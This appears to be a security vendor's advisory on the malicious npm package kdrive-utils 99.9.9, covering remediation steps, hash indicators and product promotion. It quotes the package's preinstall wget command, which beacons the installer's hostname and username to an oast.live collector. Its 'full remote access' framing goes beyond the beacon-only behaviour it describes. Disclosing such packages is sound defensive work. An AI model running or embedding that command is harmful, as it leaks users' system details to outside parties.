Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

kdrive-utilsnpm

kdrive-utils is a confirmed malicious npm package (MAL-2026-6295) that opens a backdoor for remote access (malicious version 99.9.9). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in kdrive-utils (npm)

MAL-2026-6295
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall kdrive-utils

What this malware does

package.json declares a preinstall lifecycle script that auto-executes on npm install and runs wget -q -O- "http://d8svb0ao12pnoovdaih0giunhdew5oqa4.oast.live/$(hostname)/$(whoami)". The installer's hostname and current OS username are embedded directly into the request path and sent over plain HTTP to an oast.live (Interactsh / out-of-band application security testing) listener — an attacker-controlled DNS/HTTP collector commonly used for supply-chain reconnaissance and typosquat/dependency-confusion probes. The package is an unscoped name published at version 99.9.9, which is the canonical dependency-confusion shape (high version number to win resolution against an internal package of the same name). No legitimate functionality is shipped beyond the beacon.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged
99.9.9

Indicators of compromise (SHA-256)

3e7d5af5ddf22d4481fca4847a45189e6160a723341b32dcbb6bf51b49f53943
af3ba8ae8b3253da7029ddc1f0a9eab89034731b2ae2ecb6f61dbbdf3bd3c03a
5a419f3953f433537ae4e3e588445a181ca6cc4b85d4a070a03a41d88229b32c

Detection & response playbook

Backdoor / remote access
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for kdrive-utils (version 99.9.9). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging kdrive-utils across your stack and pipelines.

  2. If you installed it — respond

    kdrive-utils establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

  3. Did it already run?

    If kdrive-utils was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks kdrive-utils before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. kdrive-utils on npm has been identified as a malicious package (version 99.9.9 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007201GHSA-v9x6-7mvw-mf22RLMA-2026-05564

References

Credits

  • Amazon Inspector · finder
  • ReversingLabs · finder

Detect & block this

O3 blocks kdrive-utils-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Explore

kdrive-utils (npm) malicious package — MAL-2026-6295 | O3 Security